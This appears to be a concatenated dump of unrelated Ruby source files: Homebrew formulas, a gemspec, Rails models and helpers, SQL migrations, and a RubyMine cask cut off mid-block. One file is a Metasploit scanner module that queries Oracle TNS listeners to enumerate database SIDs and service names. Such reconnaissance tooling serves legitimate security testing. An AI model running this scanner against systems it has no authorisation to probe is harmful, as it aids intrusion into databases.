rm_rf Dir["#{site_packages}/setuptools[-_.][0-9]*", "#{site_packages}/setuptools"]
rm_rf Dir["#{site_packages}/distribute[-_.][0-9]*", "#{site_packages}/distribute"]
rm_rf Dir["#{site_packages}/pip[-_.][0-9]*", "#{site_packages}/pip"]
rm_rf Dir["#{site_packages}/wheel[-_.][0-9]*", "#{site_packages}/wheel"]
system bin/"python3", "-m", "ensurepip"
# Install desired versions of setuptools, pip, wheel using the version of
# pip bootstrapped by ensurepip.
# Note that while we replaced the ensurepip wheels, there's no guarantee
# ensurepip actually used them, since other existing installations could
# have been picked up (and we can't pass --ignore-installed).
bundled = lib_cellar/"ensurepip/_bundled"
system bin/"python3", "-m", "pip", "install", "-v",
"--no-deps",
"--no-index",
"--upgrade",
"--isolated",
"--target=#{site_packages}",
bundled/"setuptools-#{resource("setuptools").version}-py3-none-any.whl",
bundled/"pip-#{resource("pip").version}-py3-none-any.whl",
libexec/"wheel-#{resource("wheel").version}-py2.py3-none-any.whl"
# pip install with --target flag will just place the bin folder into the
# target, so move its contents into the appropriate location
mv (site_packages/"bin").children, bin
rmdir site_packages/"bin"
rm_rf bin/"pip"
mv bin/"wheel", bin/"wheel3"
# Install unversioned symlinks in libexec/bin.
{
"pip" => "pip3",
"wheel" => "wheel3",
}.each do |unversioned_name, versioned_name|
(libexec/"bin").install_symlink (bin/versioned_name).realpath => unversioned_name
end
# post_install happens after link
%W[pip3 wheel3 pip#{version.major_minor}].each do |e|
(HOMEBREW_PREFIX/"bin").install_symlink bin/e
end
# Help distutils find brewed stuff when building extensions
include_dirs = [HOMEBREW_PREFIX/"include", Formula["[email protected]"].opt_include,
Formula["sqlite"].opt_include]
library_dirs = [HOMEBREW_PREFIX/"lib", Formula["[email protected]"].opt_lib,
Formula["sqlite"].opt_lib]
cfg = lib_cellar/"distutils/distutils.cfg"
cfg.atomic_write <<~EOS
[install]
prefix=#{HOMEBREW_PREFIX}
[build_ext]
include_dirs=#{include_dirs.join ":"}
library_dirs=#{library_dirs.join ":"}
EOS
end
def sitecustomize
<<~EOS
# This file is created by Homebrew and is executed on each python startup.
# Don't print from here, or else python command line scripts may fail!
# <https://docs.brew.sh/Homebrew-and-Python>
import re
import os
import sys
if sys.version_info[:2] != (#{version.major}, #{version.minor}):
# This can only happen if the user has set the PYTHONPATH to a mismatching site-packages directory.
# Every Python looks at the PYTHONPATH variable and we can't fix it here in sitecustomize.py,
# because the PYTHONPATH is evaluated after the sitecustomize.py. Many modules (e.g. PyQt4) are
# built only for a specific version of Python and will fail with cryptic error messages.
# In the end this means: Don't set the PYTHONPATH permanently if you use different Python versions.
exit('Your PYTHONPATH points to a site-packages dir for Python #{version.major_minor} but you are running Python ' +
str(sys.version_info[0]) + '.' + str(sys.version_info[1]) + '!\\n PYTHONPATH is currently: "' + str(os.environ['PYTHONPATH']) + '"\\n' +
' You should `unset PYTHONPATH` to fix this.')
# Only do this for a brewed python:
if os.path.realpath(sys.executable).startswith('#{rack}'):
# Shuffle /Library site-packages to the end of sys.path
library_site = '/Library/Python/#{version.major_minor}/site-packages'
library_packages = [p for p in sys.path if p.startswith(library_site)]
sys.path = [p for p in sys.path if not p.startswith(library_site)]
# .pth files have already been processed so don't use addsitedir
sys.path.extend(library_packages)
# the Cellar site-packages is a symlink to the HOMEBREW_PREFIX
# site_packages; prefer the shorter paths
long_prefix = re.compile(r'#{rack}/[0-9\._abrc]+/Frameworks/Python\.framework/Versions/#{version.major_minor}/lib/python#{version.major_minor}/site-packages')
sys.path = [long_prefix.sub('#{HOMEBREW_PREFIX/"lib/python#{version.major_minor}/site-packages"}', p) for p in sys.path]
# Set the sys.executable to use the opt_prefix. Only do this if PYTHONEXECUTABLE is not
# explicitly set and we are not in a virtualenv:
if 'PYTHONEXECUTABLE' not in os.environ and sys.prefix == sys.base_prefix:
sys.executable = sys._base_executable = '#{opt_bin}/python#{version.major_minor}'
if 'PYTHONHOME' not in os.environ:
cellar_prefix = re.compile(r'#{rack}/[0-9\._abrc]+/')
if os.path.realpath(sys.base_prefix).startswith('#{rack}'):
new_prefix = cellar_prefix.sub('#{opt_prefix}/', sys.base_prefix)
if sys.prefix == sys.base_prefix:
sys.prefix = new_prefix
sys.base_prefix = new_prefix
if os.path.realpath(sys.base_exec_prefix).startswith('#{rack}'):
new_exec_prefix = cellar_prefix.sub('#{opt_prefix}/', sys.base_exec_prefix)
if sys.exec_prefix == sys.base_exec_prefix:
sys.exec_prefix = new_exec_prefix
sys.base_exec_prefix = new_exec_prefix
# Check for and add the python-tk prefix.
tkinter_prefix = "#{HOMEBREW_PREFIX}/opt/python-tk@#{version.major_minor}/libexec"
if os.path.isdir(tkinter_prefix):
sys.path.append(tkinter_prefix)
EOS
end
def caveats
<<~EOS
Python has been installed as
#{HOMEBREW_PREFIX}/bin/python3
Unversioned symlinks `python`, `python-config`, `pip` etc. pointing to
`python3`, `python3-config`, `pip3` etc., respectively, have been installed into
#{opt_libexec}/bin
You can install Python packages with
pip3 install <package>
They will install into the site-package directory
#{HOMEBREW_PREFIX/"lib/python#{version.major_minor}/site-packages"}
tkinter is no longer included with this formula, but it is available separately:
brew install python-tk@#{version.major_minor}
See: https://docs.brew.sh/Homebrew-and-Python
EOS
end
test do
# Check if sqlite is ok, because we build with --enable-loadable-sqlite-extensions
# and it can occur that building sqlite silently fails if OSX's sqlite is used.
system "#{bin}/python#{version.major_minor}", "-c", "import sqlite3"
# check to see if we can create a venv
system "#{bin}/python#{version.major_minor}", "-m", "venv", testpath/"myvenv"
# Check if some other modules import. Then the linked libs are working.
system "#{bin}/python#{version.major_minor}", "-c", "import _ctypes"
system "#{bin}/python#{version.major_minor}", "-c", "import _decimal"
system "#{bin}/python#{version.major_minor}", "-c", "import _gdbm"
system "#{bin}/python#{version.major_minor}", "-c", "import pyexpat"
system "#{bin}/python#{version.major_minor}", "-c", "import zlib"
# tkinter is provided in a separate formula
assert_match "ModuleNotFoundError: No module named '_tkinter'",
shell_output("#{bin}/python#{version.major_minor} -Sc 'import tkinter' 2>&1", 1)
# Verify that the selected DBM interface works
(testpath/"dbm_test.py").write <<~EOS
import dbm
with dbm.ndbm.open("test", "c") as db:
db[b"foo \\xbd"] = b"bar \\xbd"
with dbm.ndbm.open("test", "r") as db:
assert list(db.keys()) == [b"foo \\xbd"]
assert b"foo \\xbd" in db
assert db[b"foo \\xbd"] == b"bar \\xbd"
EOS
system "#{bin}/python#{version.major_minor}", "dbm_test.py"
system bin/"pip3", "list", "--format=columns"
end
end
| 42.779141 | 168 | 0.664659 |
f7fb197ecd3a426c64de5126848b004b11e364c9 | 66 | require_relative '../../../stdlib/test/' + File.basename(__FILE__) | 66 | 66 | 0.69697 |
1a46123e9c2d3a0c056bfacf976bc2584796ae7d | 604 | readme = File.open('README.md').read.split("\n\n").map { |pr| pr.lines.map(&:strip) }
version = `git tag | tail -n 1`.sub(/^v/, '')
summary = readme[0].first.sub('servedir: ', '')
description = readme[1].to_a.join('').gsub('`', '')
Gem::Specification.new do |spec|
spec.name = 'servedir'
spec.version = version
spec.authors = ['Gioele Barabucci']
spec.email = ['[email protected]']
spec.homepage = 'https://github.com/gioele/servedir'
spec.summary = summary
spec.license = 'COPYING'
spec.files = %w(bin/servedir) + %w(README.md COPYING)
spec.executables = ['servedir']
end
| 31.789474 | 85 | 0.634106 |
d5ad4c69f3c56f5a91872c2c6166f86e8f11fd11 | 2,301 | ##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::TNS
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize(info = {})
super(update_info(info,
'Name' => 'Oracle TNS Listener SID Enumeration',
'Description' => %q{
This module simply queries the TNS listner for the Oracle SID.
With Oracle 9.2.0.8 and above the listener will be protected and
the SID will have to be bruteforced or guessed.
},
'Author' => [ 'CG', 'MC' ],
'License' => MSF_LICENSE,
'DisclosureDate' => 'Jan 7 2009'
))
register_options(
[
Opt::RPORT(1521)
])
deregister_options('RHOST')
end
def run_host(ip)
begin
connect
pkt = tns_packet("(CONNECT_DATA=(COMMAND=STATUS))")
sock.put(pkt)
select(nil,nil,nil,0.5)
data = sock.get_once
if ( data and data =~ /ERROR_STACK/ )
print_error("TNS listener protected for #{ip}...")
else
if(not data)
print_error("#{ip} Connection but no data")
else
sid = data.scan(/INSTANCE_NAME=([^\)]+)/)
sid.uniq.each do |s|
report_note(
:host => ip,
:port => rport,
:type => "oracle_sid",
:data => "PORT=#{rport}, SID=#{s}",
:update => :unique_data
)
print_good("Identified SID for #{ip}:#{rport} #{s}")
end
service_name = data.scan(/SERVICE_NAME=([^\)]+)/)
service_name.uniq.each do |s|
report_note(
:host => ip,
:port => rport,
:type => "oracle_service_name",
:data => "PORT=#{rport}, SERVICE_NAME=#{s}",
:update => :unique_data
)
print_status("Identified SERVICE_NAME for #{ip}:#{rport} #{s}")
end
end
end
disconnect
rescue ::Rex::ConnectionError
rescue ::Errno::EPIPE
end
end
end
| 28.7625 | 79 | 0.507605 |
e91073fb75f2394a5133c92577179d2e603c12b7 | 1,155 | # Mg::Test represents something you are 'a/b testing'
#
# Attributes
# test_type:: Symbol uniquely identifying this test (for code interaction)
# title:: Title of the test (E.g. Banner text)
# tally_each_serve:: Should we count each view by a user as a hit, or just first-serve to that user?
# is_switch:: Are we implementing a code-switch as opposed to a text substitution
# deleted_at:: Is this test deleted? (MG Console)
# is_hidden:: Is this test hidden? (MG Console)
class Mg::Test < ActiveRecord::Base
set_table_name :mg_tests
# ActiveRecord Associations
has_many :mg_choices, :class_name => "Mg::Choice", :foreign_key => "mg_test_id"
# Validations
validates_format_of :test_type, :with => /[a-z0-9_]{3,50}/i, :message => "must be between 3 and 30 characters, alphanumeric with underscores"
validates_uniqueness_of :test_type
# Member Functions
# Get total reward of all choices for this test
def total_reward
self.mg_choices.map { |choice| choice.reward || 0 }.sum
end
# Get total served of all choices for this test
def total_served
self.mg_choices.map { |choice| choice.served || 0 }.sum
end
end
| 36.09375 | 143 | 0.722944 |
fff9a9acf8f802625c22ec6bdd7cb560c9ae174a | 6,885 | class AddsFtiToProjectsEndpoint < ActiveRecord::Migration
def up
execute <<-SQL
DROP VIEW "1".projects CASCADE;
CREATE VIEW "1".projects AS
SELECT p.id AS project_id,
p.name AS project_name,
p.headline,
p.permalink,
public.mode(p.*) AS mode,
COALESCE(fp.state, (p.state)::text) AS state,
public.state_order(p.*) AS state_order,
p.online_date,
p.recommended,
public.thumbnail_image(p.*, 'large'::text) AS project_img,
public.remaining_time_json(p.*) AS remaining_time,
p.expires_at,
COALESCE(( SELECT pt.pledged
FROM "1".project_totals pt
WHERE (pt.project_id = p.id)), (0)::numeric) AS pledged,
COALESCE(( SELECT pt.progress
FROM "1".project_totals pt
WHERE (pt.project_id = p.id)), (0)::numeric) AS progress,
COALESCE(s.acronym, (pa.address_state)::character varying(255)) AS state_acronym,
u.name AS owner_name,
COALESCE(c.name, pa.address_city) AS city_name,
p.full_text_index
FROM (((((public.projects p
JOIN public.users u ON ((p.user_id = u.id)))
LEFT JOIN public.flexible_projects fp ON ((fp.project_id = p.id)))
LEFT JOIN public.project_accounts pa ON ((pa.project_id = p.id)))
LEFT JOIN public.cities c ON ((c.id = p.city_id)))
LEFT JOIN public.states s ON ((s.id = c.state_id)));
GRANT SELECT ON TABLE "1".projects TO anonymous;
GRANT SELECT ON TABLE "1".projects TO web_user;
GRANT SELECT ON TABLE "1".projects TO admin;
CREATE OR REPLACE FUNCTION public.is_expired(expires_at timestamp)
RETURNS boolean
LANGUAGE sql
STABLE SECURITY DEFINER
AS $function$
SELECT COALESCE(current_timestamp > expires_at, false);
$function$;
CREATE OR REPLACE FUNCTION public.is_expired(project public.projects)
RETURNS boolean
LANGUAGE sql
STABLE SECURITY DEFINER
AS $function$
SELECT public.is_expired($1.expires_at);
$function$;
CREATE OR REPLACE FUNCTION public.is_expired(project "1".projects)
RETURNS boolean
LANGUAGE sql
STABLE SECURITY DEFINER
AS $function$
SELECT public.is_expired($1.expires_at);
$function$;
CREATE OR REPLACE FUNCTION public.open_for_contributions(expires_at timestamp, state text)
RETURNS boolean
LANGUAGE sql
STABLE SECURITY DEFINER
AS $function$
SELECT (not public.is_expired(expires_at) AND state = 'online');
$function$;
CREATE OR REPLACE FUNCTION public.open_for_contributions(projects)
RETURNS boolean
LANGUAGE sql
STABLE SECURITY DEFINER
AS $function$
SELECT public.open_for_contributions($1.expires_at, COALESCE(fp.state, $1.state))
FROM projects p
LEFT JOIN flexible_projects fp on fp.project_id = p.id
WHERE p.id = $1.id;
$function$;
CREATE OR REPLACE FUNCTION public.state_order(project_id int)
RETURNS project_state_order
LANGUAGE sql
STABLE
AS $function$
SELECT
CASE p.mode
WHEN 'flex' THEN
(
SELECT state_order
FROM
flexible_project_states ps
WHERE
ps.state = fp.state
)
ELSE
(
SELECT state_order
FROM
project_states ps
WHERE
ps.state = p.state
)
END
FROM projects p
LEFT JOIN flexible_projects fp on fp.project_id = p.id
WHERE p.id = $1;
$function$;
CREATE OR REPLACE FUNCTION public.state_order(project public.projects)
RETURNS project_state_order
LANGUAGE sql
STABLE
AS $function$
SELECT public.state_order($1.id);
$function$;
CREATE OR REPLACE FUNCTION public.near_me("1".projects)
RETURNS boolean
LANGUAGE sql
STABLE SECURITY DEFINER
AS $function$
SELECT
COALESCE($1.state_acronym, (SELECT pa.address_state FROM project_accounts pa WHERE pa.project_id = $1.project_id)) = (SELECT u.address_state FROM users u WHERE u.id = current_user_id());
$function$;
CREATE OR REPLACE FUNCTION "1".project_search(query text)
RETURNS SETOF "1".projects
LANGUAGE sql
STABLE
AS $function$
SELECT
p.*
FROM
"1".projects p
WHERE
(
p.full_text_index @@ to_tsquery('english', unaccent(query))
OR
p.project_name % query
)
AND p.state_order >= 'published'
ORDER BY
public.open_for_contributions(p.expires_at, p.state) DESC,
p.state_order,
ts_rank(p.full_text_index, to_tsquery('english', unaccent(query))) DESC,
p.project_id DESC;
$function$;
SQL
end
def down
execute <<-SQL
DROP VIEW "1".projects CASCADE;
CREATE VIEW "1".projects AS
SELECT p.id AS project_id,
p.name AS project_name,
p.headline,
p.permalink,
public.mode(p.*) AS mode,
COALESCE(fp.state, (p.state)::text) AS state,
public.state_order(p.*) AS state_order,
p.online_date,
p.recommended,
public.thumbnail_image(p.*, 'large'::text) AS project_img,
public.remaining_time_json(p.*) AS remaining_time,
p.expires_at,
COALESCE(( SELECT pt.pledged
FROM "1".project_totals pt
WHERE (pt.project_id = p.id)), (0)::numeric) AS pledged,
COALESCE(( SELECT pt.progress
FROM "1".project_totals pt
WHERE (pt.project_id = p.id)), (0)::numeric) AS progress,
COALESCE(s.acronym, (pa.address_state)::character varying(255)) AS state_acronym,
u.name AS owner_name,
COALESCE(c.name, pa.address_city) AS city_name
FROM (((((public.projects p
JOIN public.users u ON ((p.user_id = u.id)))
LEFT JOIN public.flexible_projects fp ON ((fp.project_id = p.id)))
LEFT JOIN public.project_accounts pa ON ((pa.project_id = p.id)))
LEFT JOIN public.cities c ON ((c.id = p.city_id)))
LEFT JOIN public.states s ON ((s.id = c.state_id)));
GRANT SELECT ON TABLE "1".projects TO anonymous;
GRANT SELECT ON TABLE "1".projects TO web_user;
GRANT SELECT ON TABLE "1".projects TO admin;
CREATE OR REPLACE FUNCTION "1".project_search(query text)
RETURNS SETOF "1".projects
LANGUAGE sql
STABLE
AS $function$
SELECT
p.*
FROM
"1".projects p
JOIN public.projects pr ON pr.id = p.project_id
WHERE
(
pr.full_text_index @@ to_tsquery('english', unaccent(query))
OR
pr.name % query
)
AND pr.state_order >= 'published'
ORDER BY
p.listing_order,
ts_rank(pr.full_text_index, to_tsquery('english', unaccent(query))) DESC,
pr.id DESC;
$function$;
CREATE OR REPLACE FUNCTION public.listing_order(project "1".projects)
RETURNS integer
LANGUAGE sql
STABLE
AS $function$
SELECT
CASE project.state
WHEN 'online' THEN 1
WHEN 'waiting_funds' THEN 2
WHEN 'successful' THEN 3
WHEN 'failed' THEN 4
END;
$function$;
CREATE OR REPLACE FUNCTION public.near_me("1".projects)
RETURNS boolean
LANGUAGE sql
STABLE SECURITY DEFINER
AS $function$
SELECT
COALESCE($1.state_acronym, (SELECT pa.address_state FROM project_accounts pa WHERE pa.project_id = $1.project_id)) = (SELECT u.address_state FROM users u WHERE u.id = current_user_id())
$function$;
SQL
end
end
| 28.6875 | 192 | 0.693101 |
6ad66d454758f5bfee62df640ccca9b9d55e28f4 | 45 | module TmuxConnector
VERSION = "1.0.8"
end
| 11.25 | 20 | 0.711111 |
e27be0baf5295e79156cbc46a8cb88d5f17ff437 | 738 | require 'formula'
class Sratom < Formula
homepage 'http://drobilla.net/software/sratom/'
url 'http://download.drobilla.net/sratom-0.4.6.tar.bz2'
sha1 '5f7d18e4917e5a2fee6eedc6ae06aa72d47fa52a'
bottle do
cellar :any
sha256 "9023b8427d0e4068c7ca9e9a66a18545c51af3e30fcf9566db74aacceff18d2b" => :yosemite
sha256 "9720a29b9fc95760edc5d96a36d89fee9a44403e0ce1cbe76fbf4a805c8c9571" => :mavericks
sha256 "4b2acde2a46119ac0d6ae10a0d161b5f644e507296f44defc036ab311d93cf27" => :mountain_lion
end
depends_on 'pkg-config' => :build
depends_on 'lv2'
depends_on 'serd'
depends_on 'sord'
def install
system "./waf", "configure", "--prefix=#{prefix}"
system "./waf"
system "./waf", "install"
end
end
| 28.384615 | 95 | 0.745257 |
ab71f51fed5cd23cfb69ab3ba8272796ab18b9a1 | 174 | # spec/factories/tpl_birst_soap_generic_commands
FactoryGirl.define do
factory :tpl_birst_soap_generic_command do
command "list_spaces"
argument_json ""
end
end
| 19.333333 | 48 | 0.798851 |
ed92b69864ab89f117c9fd9bf950556d504a0c57 | 127 | class DropJoinTableOrdersProducts < ActiveRecord::Migration[5.2]
def change
drop_join_table :orders, :products
end
end
| 21.166667 | 64 | 0.779528 |
d59c4a6b242f7cd6cf62627bbd0cfcb7c8a4ed3c | 1,787 | class LdapTools
def initialize
@permsYaml = YAML::load_file("#{Rails.root}/config/permission_#{Rails.env}.yaml")
@parametersYaml = YAML::load_file("#{Rails.root}/config/yap_parameters.yaml")
end
def perms(memberOf,menuName)
@perms = false
if memberOf.length < 0
memberOf = ['default']
else
memberOf << 'default'
end
memberOf.each do |perms|
if @permsYaml[perms]
if !@permsYaml[perms]['read']
arrayRead = []
else
arrayRead = @permsYaml[perms]['read']
end
if !@permsYaml[perms]['write']
arrayWrite = []
else
arrayWrite = @permsYaml[perms]['write']
end
if arrayRead.include? menuName and @perms === false
@perms = 'read'
end
if arrayWrite.include? menuName and @perms != 'write'
@perms = 'write'
end
end
end
return @perms
end
def menu(memberOf)
menuTab = Array.new
if !memberOf.kind_of?(Array)
memberOf.split(' ')
end
memberOf.each do |perms|
if !@permsYaml[perms]
perms = 'default'
end
if !@permsYaml[perms]['read']
arrayRead = []
else
arrayRead = @permsYaml[perms]['read']
end
if !@permsYaml[perms]['write']
arrayWrite = []
else
arrayWrite = @permsYaml[perms]['write']
end
menuArray = arrayRead + arrayWrite
menuArray.each do |name|
menuTab << name
end
end
menuTab = menuTab.uniq.sort
return menuTab
end
def menuLeft(menuName)
if @parametersYaml["#{menuName}"]
return @parametersYaml["#{menuName}"]
else
return false
end
end
def parameters(key)
return @parametersYaml[key]
end
end
| 21.27381 | 85 | 0.567431 |
bbec4f593c34a42e3532383a66da41c980a2962f | 373 | require File.expand_path('../../../lib/migration_extensions', __FILE__)
class CreateItemTypes < ActiveRecord::Migration
include MigrationExtensions
def change
create_table :item_types do |t|
t.string :name, null: false
t.text :description
t.hstore :attrs, default: {}
t.timestamps
end
add_gin_index :item_types, :attrs
end
end
| 20.722222 | 71 | 0.689008 |
0177a8c912888e5f090be8f8ccaf40c2ba860e8a | 4,479 | Sequel.migration do
up do
create_table :link_providers do
primary_key :id
String :name, :null => false
Boolean :shared, :null => false
foreign_key :deployment_id, :deployments, :null => false, :on_delete => :cascade
String :instance_group, :null => false
Boolean :consumable, :null => false
String :content, :null => false
String :link_provider_definition_type, :null => false
String :link_provider_definition_name, :null => false # Original name. Only for debugging.
String :owner_object_name, :null => false
String :owner_object_type, :null => false
end
create_table :link_consumers do
primary_key :id
foreign_key :deployment_id, :deployments, :on_delete => :cascade
String :instance_group
String :owner_object_name, :null => false
String :owner_object_type, :null => false
end
create_table :links do
primary_key :id
foreign_key :link_provider_id, :link_providers, :on_delete => :set_null
foreign_key :link_consumer_id, :link_consumers, :on_delete => :cascade, :null => false
String :name, :null => false
String :link_content
Time :created_at
end
create_table :instances_links do
foreign_key :link_id, :links, :on_delete => :cascade, :null => false
foreign_key :instance_id, :instances, :on_delete => :cascade, :null => false
unique [:instance_id, :link_id]
end
if [:mysql, :mysql2].include? adapter_scheme
set_column_type :link_providers, :content, 'longtext'
set_column_type :links, :link_content, 'longtext'
end
self[:deployments].each do |deployment|
link_spec_json = JSON.parse(deployment[:link_spec_json] || '{}')
link_spec_json.each do |instance_group_name, provider_jobs|
provider_jobs.each do |provider_job_name, link_names|
link_names.each do |link_name, link_types|
link_types.each do |link_type, content|
self[:link_providers] << {
name: link_name,
deployment_id: deployment[:id],
instance_group: instance_group_name,
shared: true,
consumable: true,
link_provider_definition_type: link_type,
link_provider_definition_name: link_name,
owner_object_name: provider_job_name,
owner_object_type: 'job',
content: content.to_json,
}
end
end
end
end
end
links_to_migrate = {}
Struct.new('LinkKey', :deployment_id, :instance_group, :job, :link_name) unless defined?(Struct::LinkKey)
Struct.new('LinkDetail', :link_id, :content) unless defined?(Struct::LinkDetail)
self[:instances].each do |instance|
spec_json = JSON.parse(instance[:spec_json] || '{}')
links = spec_json['links'] || {}
links.each do |job_name, consumed_links|
consumer = self[:link_consumers].where(deployment_id: instance[:deployment_id], instance_group: instance[:job], owner_object_name: job_name).first
if consumer
consumer_id = consumer[:id]
else
consumer_id = self[:link_consumers].insert(
{
deployment_id: instance[:deployment_id],
instance_group: instance[:job],
owner_object_name: job_name,
owner_object_type: 'job'
}
)
end
consumed_links.each do |link_name, link_data|
link_key = Struct::LinkKey.new(instance[:deployment_id], instance[:job], job_name, link_name)
link_details = links_to_migrate[link_key] || []
link_detail = link_details.find do |link_detail|
link_detail.content == link_data
end
unless link_detail
link_id = self[:links].insert(
{
name: link_name,
link_provider_id: nil,
link_consumer_id: consumer_id,
link_content: link_data.to_json,
created_at: Time.now,
}
)
link_detail = Struct::LinkDetail.new(link_id, link_data)
link_details << link_detail
links_to_migrate[link_key] = link_details
end
self[:instances_links] << {
link_id: link_detail.link_id,
instance_id: instance[:id]
}
end
end
end
end
end
| 35.547619 | 154 | 0.610181 |
bbacd3468db0b0f073f6fa85985ed5b83810c406 | 6,480 | module AdvertSelector
module ApplicationHelper
def advert_selector_initialize(available_placements = :all)
Rails.logger.tagged('AdvertSelector') do
Rails.logger.debug("AdvertSelection initialized")
@advert_selector_banners_selected = []
if params[:advert_selector_force]
$advert_selector_banners_load_time = nil # reload everything
if (banner_found = Banner.find_by_id(params[:advert_selector_force])) && banner_found.start_time.to_i.to_s == params[:advert_selector_force_stamp]
advert_selector_banner_force(banner_found)
end
end
advert_selector_banners.each do |banner_iter|
if available_placements == :all || available_placements.include?(banner_iter.placement.name_sym)
advert_selector_banner_try(banner_iter)
end
end
Rails.logger.debug("AdvertSelection finished")
end
""
end
def advert_selector_force_test_infos
if defined?(@advert_selector_force_banner_infos) && @advert_selector_force_banner_infos
content_tag :div, :id => "advert_selector_info", :class => 'alert alert-info', :style => "position: fixed; bottom: 5px;" do
content_tag(:strong) { "AdvertSelectorInfos for HelperItems:<br/>".html_safe } +
content_tag(:ul) {
@advert_selector_force_banner_infos.to_a.collect{|k, v| content_tag(:li){"#{k} : #{h(v)}".html_safe} }.join("\n").html_safe
}
end
end
end
def advert_selector_banner_try(banner)
if banner.show_now_basics? &&
advert_selector_placement_free?(banner.placement) &&
advert_selector_placement_once_per_session_ok?(banner.placement) &&
advert_selector_banner_frequency_ok?(banner)
banner.helper_items.each do |hi|
if hi.content_for?
content_for hi.name_sym, hi.content.html_safe
else
return unless send("advert_selector_#{hi.name}", hi)
end
end
advert_selector_placement_once_per_session_shown(banner.placement)
advert_selector_banner_frequency_shown(banner)
banner.add_one_viewcount unless request.user_agent =~ /bot/i
@advert_selector_banners_selected.push(banner)
Rails.logger.info("Showing banner (#{banner.id}) #{banner.name} in placement #{banner.placement.name}")
end
rescue => e
begin
str = "Error with banner #{banner.name} in placement #{banner.placement.name}.\n#{Time.now.iso8601} - #{request.url} - #{params.inspect}\n#{e.inspect}\n\n#{e.backtrace.first(10).join("\n")}"
AdvertSelector::ErrorsCache.add(str)
Rails.logger.error(str)
rescue => e
Rails.logger.error("ERROR INSIDE ERROR with #{banner.name} in placement #{banner.placement.name} : #{e.inspect}")
end
end
def advert_selector_banner_force(banner)
@advert_selector_force_banner_infos = []
@advert_selector_force_banner_infos.push [:show_now_basics_times_not_used, banner.show_now_basics?(false)]
@advert_selector_force_banner_infos.push [:show_now_basics_with_times, banner.show_now_basics?]
@advert_selector_force_banner_infos.push [:placement_free, advert_selector_placement_free?(banner.placement)]
@advert_selector_force_banner_infos.push [:placement_once_per_session, advert_selector_placement_once_per_session_ok?(banner.placement)]
@advert_selector_force_banner_infos.push [:frequency, advert_selector_banner_frequency_ok?(banner)]
banner.helper_items.each do |hi|
@advert_selector_force_banner_infos.push [hi.name_sym,
if hi.content_for?
content_for hi.name_sym, hi.content.html_safe
content_for(hi.name_sym).first(20)
else
send("advert_selector_#{hi.name}", hi)
end]
end
@advert_selector_banners_selected.push(banner)
Rails.logger.info("ForceShowing banner #{banner.name} in placement #{banner.placement.name}")
end
def advert_selector_placement_free?(placement)
!placement.conflicting_with?(@advert_selector_banners_selected.collect{|b| b.placement.name_sym})
end
def advert_selector_placement_once_per_session_ok?(placement)
!( placement.only_once_per_session? && session[:advert_selector_session_shown] &&
session[:advert_selector_session_shown].include?(placement.name) )
end
def advert_selector_placement_once_per_session_shown(placement)
if placement.only_once_per_session?
session[:advert_selector_session_shown] = [] if session[:advert_selector_session_shown].nil?
session[:advert_selector_session_shown].push(placement.name)
end
end
def advert_selector_banner_frequency_cookie(banner)
val, time = cookies["ad_#{banner.id}"].to_s.split(",")
[val.to_i, time]
end
def advert_selector_banner_frequency_ok?(banner)
!banner.has_frequency? || advert_selector_banner_frequency_cookie(banner).first < banner.frequency
end
def advert_selector_banner_frequency_shown(banner)
return true unless banner.has_frequency?
val, time = advert_selector_banner_frequency_cookie(banner)
time = time.blank? ? 1.week.from_now : Time.parse(time)
val += 1
cookies["ad_#{banner.id}"] = {:domain => :all, :expires => time, :value => [val, time.iso8601].join(",") }
end
##########################################################
def advert_selector_request_params_include?(placement)
key, val = placement.content.to_s.split("=")
return params[key] == val
end
##########################################################
$advert_selector_banners = []
$advert_selector_banners_load_time = nil
def advert_selector_banners
if $advert_selector_banners_load_time.nil? || $advert_selector_banners_load_time < 10.minutes.ago || Rails.env.development?
Rails.logger.info("AdvertSelection fetching banners and placements")
$advert_selector_banners_load_time = Time.now
$advert_selector_banners = Banner.find_current
end
$advert_selector_banners
end
end
end
| 41.538462 | 198 | 0.657716 |
b9511cf4d2b10cbaf1fda58b58e012909163ff5d | 278 | require File.expand_path('../../../spec_helper', __FILE__)
describe "Float#infinite?" do
it "returns nil, -1, +1 when self is finite, -Infinity, +Infinity" do
1.0.infinite?.should == nil
(1.0/0.0).infinite?.should == 1
(1.0/-0.0).infinite?.should == -1
end
end
| 27.8 | 71 | 0.629496 |
f75be7fa388fb76c4013eec5abf8377f66162915 | 454 | # frozen_string_literal: true
RSpec.describe Mihari::DnsRecord do
describe ".build_by_domain" do
let(:domain) { "example.com" }
it do
dns_records = described_class.build_by_domain(domain)
# example.com has A records and does not have CNAME records
expect(dns_records.any? { |record| record.resource == "A" }).to eq(true)
expect(dns_records.any? { |record| record.resource == "CNAME" }).to eq(false)
end
end
end
| 28.375 | 83 | 0.680617 |
e9034e9fa9e3b0a4e5160009fe3616b161e0a584 | 397 | # frozen_string_literal: true
class CreateTriggers < ActiveRecord::Migration[4.2]
def change
create_table :triggers do |t|
t.references :rule, index: true, null: false, foreign_key: {
on_delete: :restrict, on_update: :restrict
}
t.text :callback, null: false
t.integer :lock_version, default: 0, null: false
t.timestamps null: false
end
end
end
| 24.8125 | 66 | 0.667506 |
acecadddc74f545e899a1572746f451c610fd44c | 198 | class LabzController < ActionController::Base
# Prevent CSRF attacks by raising an exception.
# For APIs, you may want to use :null_session instead.
protect_from_forgery with: :exception
end
| 28.285714 | 56 | 0.777778 |
91b4ba7f205d4ab016b0d267b9317ec9d1671a05 | 1,447 | cask "rubymine" do
version "2021.1.3,211.7628.26"
if Hardware::CPU.intel?
sha256 "5c09ad7dbb861b58a1b2d9094b13cd4b0380f232076cf841e525d00581c45b72"
url "https://download.jetbrains.com/ruby/RubyMine-#{version.before_comma}.dmg"
else
sha256 "e11d9e5d93e059a1582e489e4642496708f771d53e67f04e1995e6490083122e"
url "https://download.jetbrains.com/ruby/RubyMine-#{version.before_comma}-aarch64.dmg"
end
name "RubyMine"
desc "Ruby on Rails IDE"
homepage "https://www.jetbrains.com/ruby/"
livecheck do
url "https://data.services.jetbrains.com/products/releases?code=RM&latest=true&type=release"
strategy :page_match do |page|
JSON.parse(page)["RM"].map do |release|
"#{release["version"]},#{release["build"]}"
end
end
end
auto_updates true
depends_on macos: ">= :high_sierra"
app "RubyMine.app"
uninstall_postflight do
ENV["PATH"].split(File::PATH_SEPARATOR).map { |path| File.join(path, "mine") }.each do |path|
if File.exist?(path) &&
